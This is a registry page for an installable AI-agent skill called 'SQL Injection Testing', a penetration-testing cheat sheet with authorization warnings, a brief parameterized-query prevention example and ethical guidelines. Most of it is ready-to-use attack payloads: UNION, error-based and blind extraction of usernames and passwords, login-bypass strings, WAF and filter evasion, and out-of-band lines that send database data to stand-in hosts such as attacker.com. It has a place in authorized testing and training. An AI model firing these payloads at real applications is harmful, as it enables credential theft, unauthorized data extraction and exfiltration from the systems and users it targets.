HomeBrowseUpload
← Back to registry
// Skill profile

SQL Injection Testing

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

by brandonwise · published 2026-03-22

开发工具数据处理
Total installs
0
Stars
★ 0
Last updated
2026-03
// Install command
$ claw add gh:brandonwise/brandonwise-sql-injection-testing
View on GitHub
// Full documentation

# SQL Injection Testing

Comprehensive SQL injection vulnerability assessment techniques for web applications, covering detection, exploitation, and defense validation.

Description

USE WHEN:

  • Testing for SQL injection vulnerabilities
  • Performing authorized penetration tests
  • Validating input sanitization mechanisms
  • Bypassing authentication for security testing
  • Extracting database information (authorized)
  • Learning SQL injection defense
  • DON'T USE WHEN:

  • No written authorization for testing
  • Testing production systems with real user data
  • Intent is malicious (don't be evil)
  • ⚠️ **LEGAL REQUIREMENT**: Written penetration testing authorization required before use.

    ---

    Detection Phase

    Injection Point Identification

    Common injectable parameters:

    URL params:    ?id=1, ?user=admin, ?category=books
    Form fields:   username, password, search, comments
    Cookies:       session_id, user_preference
    HTTP headers:  User-Agent, Referer, X-Forwarded-For

    Basic Vulnerability Tests

    -- Single quote test
    '
    
    -- Double quote test
    "
    
    -- Comment sequences
    --
    #
    /**/
    
    -- Semicolon for query stacking
    ;

    **Watch for:**

  • Database error messages
  • HTTP 500 errors
  • Modified response content/length
  • Unexpected behavior changes
  • Boolean Logic Tests

    -- True condition (should return data)
    page.asp?id=1 or 1=1
    page.asp?id=1' or 1=1--
    page.asp?id=1" or 1=1--
    
    -- False condition (should return nothing/error)
    page.asp?id=1 and 1=2
    page.asp?id=1' and 1=2--

    Compare responses between true/false to confirm injection.

    ---

    Exploitation Techniques

    UNION-Based Extraction

    -- Step 1: Determine column count
    ORDER BY 1--
    ORDER BY 2--
    ORDER BY 3--
    -- Continue until error occurs
    
    -- Step 2: Find displayable columns
    UNION SELECT NULL,NULL,NULL--
    UNION SELECT 'a',NULL,NULL--
    UNION SELECT NULL,'a',NULL--
    
    -- Step 3: Extract data
    UNION SELECT username,password,NULL FROM users--
    UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
    UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

    Error-Based Extraction

    -- MSSQL
    1' AND 1=CONVERT(int,(SELECT @@version))--
    
    -- MySQL (XPATH)
    1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
    
    -- PostgreSQL
    1' AND 1=CAST((SELECT version()) AS int)--

    Blind Boolean-Based

    -- Character extraction
    1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
    1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
    
    -- Conditional responses
    1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

    Time-Based Blind

    -- MySQL
    1' AND IF(1=1,SLEEP(5),0)--
    1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
    
    -- MSSQL
    1'; WAITFOR DELAY '0:0:5'--
    
    -- PostgreSQL
    1'; SELECT pg_sleep(5)--

    Out-of-Band (OOB)

    -- MSSQL DNS exfiltration
    1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
    
    -- MySQL DNS
    1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
    
    -- Oracle HTTP
    1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

    ---

    Authentication Bypass

    -- Classic bypass payloads
    admin'--
    admin'/*
    ' OR '1'='1
    ' OR '1'='1'--
    ' OR '1'='1'/*
    ') OR ('1'='1
    ') OR ('1'='1'--
    
    -- Query transformation example
    -- Original: SELECT * FROM users WHERE username='input' AND password='input'
    -- Injected (username: admin'--):
    -- SELECT * FROM users WHERE username='admin'--' AND password='anything'
    -- Password check bypassed!

    ---

    Filter Bypass Techniques

    Character Encoding

    -- URL encoding
    %27 (single quote)
    %22 (double quote)
    %23 (hash)
    
    -- Double URL encoding
    %2527 (single quote)
    
    -- Hex strings (MySQL)
    SELECT * FROM users WHERE name=0x61646D696E  -- 'admin'

    Whitespace Alternatives

    -- Comment substitution
    SELECT/**/username/**/FROM/**/users
    
    -- Tab character
    SELECT%09username%09FROM%09users
    
    -- Newline
    SELECT%0Ausername%0AFROM%0Ausers

    Keyword Evasion

    -- Case variation
    SeLeCt, sElEcT, SELECT
    
    -- Inline comments
    SEL/*bypass*/ECT
    UN/*bypass*/ION
    
    -- Double writing (if filter removes once)
    SELSELECTECT → SELECT
    UNUNIONION → UNION

    ---

    Database Fingerprinting

    | Database | Version Query |

    |----------|---------------|

    | MySQL | `SELECT @@version` or `SELECT version()` |

    | MSSQL | `SELECT @@version` |

    | PostgreSQL | `SELECT version()` |

    | Oracle | `SELECT banner FROM v$version` |

    | SQLite | `SELECT sqlite_version()` |

    ---

    Information Schema Queries

    -- MySQL/MSSQL: List tables
    SELECT table_name FROM information_schema.tables WHERE table_schema=database()
    
    -- List columns
    SELECT column_name FROM information_schema.columns WHERE table_name='users'
    
    -- Oracle equivalent
    SELECT table_name FROM all_tables
    SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

    ---

    Quick Reference

    | Purpose | Payload |

    |---------|---------|

    | Basic test | `'` or `"` |

    | Boolean true | `OR 1=1--` |

    | Boolean false | `AND 1=2--` |

    | Comment (MySQL) | `#` or `-- ` |

    | Comment (MSSQL) | `--` |

    | UNION probe | `UNION SELECT NULL--` |

    | Time delay | `AND SLEEP(5)--` |

    | Auth bypass | `' OR '1'='1` |

    ---

    Detection Test Sequence

    1. Insert ' → Check for error
    2. Insert " → Check for error
    3. Try: OR 1=1-- → Check for behavior change
    4. Try: AND 1=2-- → Check for behavior change
    5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

    ---

    Prevention (What to Look For in Code Review)

    ❌ Vulnerable

    const query = `SELECT * FROM users WHERE id = '${userId}'`;

    ✅ Safe

    // Parameterized query
    const query = 'SELECT * FROM users WHERE id = $1';
    const result = await db.query(query, [userId]);
    
    // OR use ORM
    const user = await prisma.user.findUnique({ where: { id: userId } });

    ---

    Tools

  • **SQLMap**: Automated SQL injection
  • **Burp Suite**: Request manipulation
  • **OWASP ZAP**: Web app scanner
  • **Havij**: SQL injection tool
  • ---

    Troubleshooting

    | Problem | Solution |

    |---------|----------|

    | No error messages | Use blind injection (boolean/time-based) |

    | UNION fails | Check column count with ORDER BY |

    | WAF blocking | Use encoding/evasion techniques |

    | Payload not executing | Verify correct comment syntax for DB type |

    | Time-based inconsistent | Use longer delays (10+ seconds) |

    ---

    Ethical Guidelines

  • Never execute destructive queries (DROP, DELETE) without explicit authorization
  • Limit data extraction to proof-of-concept quantities
  • Stop immediately upon detecting production data
  • Report critical vulnerabilities through agreed channels
  • Document all activities for audit trail
  • // Comments
    Sign in with GitHub to leave a comment.
    // Related skills

    More tools from the same signal band